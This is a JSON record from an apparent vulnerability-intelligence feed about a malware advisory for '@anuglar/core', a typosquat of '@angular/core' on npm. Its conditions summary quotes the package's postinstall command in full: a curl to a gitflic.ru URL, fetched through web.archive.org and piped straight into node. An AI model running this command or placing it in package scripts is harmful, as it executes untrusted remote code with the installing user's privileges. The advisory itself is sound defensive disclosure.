{"items":[{"id":"NVI-00010849","kind":"supply_chain_event","title":"Malicious code in @anuglar/core (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-6p2c-j6rp-rxch"],"plain_summary":"GitHub lists this malware advisory for @anuglar/core. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-2c718f6464ad2b6287449f449496fa8e"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-2c718f6464ad2b6287449f449496fa8e","url":"https://github.com/advisories/GHSA-6p2c-j6rp-rxch","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-6p2c-j6rp-rxch","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T23:13:05.881Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-2c718f6464ad2b6287449f449496fa8e"],"technology":"@anuglar/core","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (5f23ef78cc88817166cff7f8fdf3f1839c610880d960d9394e286da232058f98)\nPackage name '@anuglar/core' is a one-character transposition of '@angular/core' and copies the legitimate package's description ('Angular - the core framework'), author ('angular'), and repository URL to impersonate it. The package.json postinstall lifecycle script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading arbitrary JavaScript from a third-party host (gitflic.ru, fetched via web.archive.org) and piping it directly into node for execution on `npm install`. The fetched code is unpinned, unhashed, and not shipped in the tarball, so its contents can change at any time and are executed with the privileges of the installing user. The script also references `ps` and `id` for host reconnaissance.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 22.2.1"]}],"null_published_at":"2026-10-31T23:18:22.401Z","source_updated_at":"2026-10-05T06:30:31.000Z","source_disclosed_at":"2026-10-05T06:30:29.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T23:13:05.881Z"}],"next_cursor":null,"snapshot_revision":"42594"}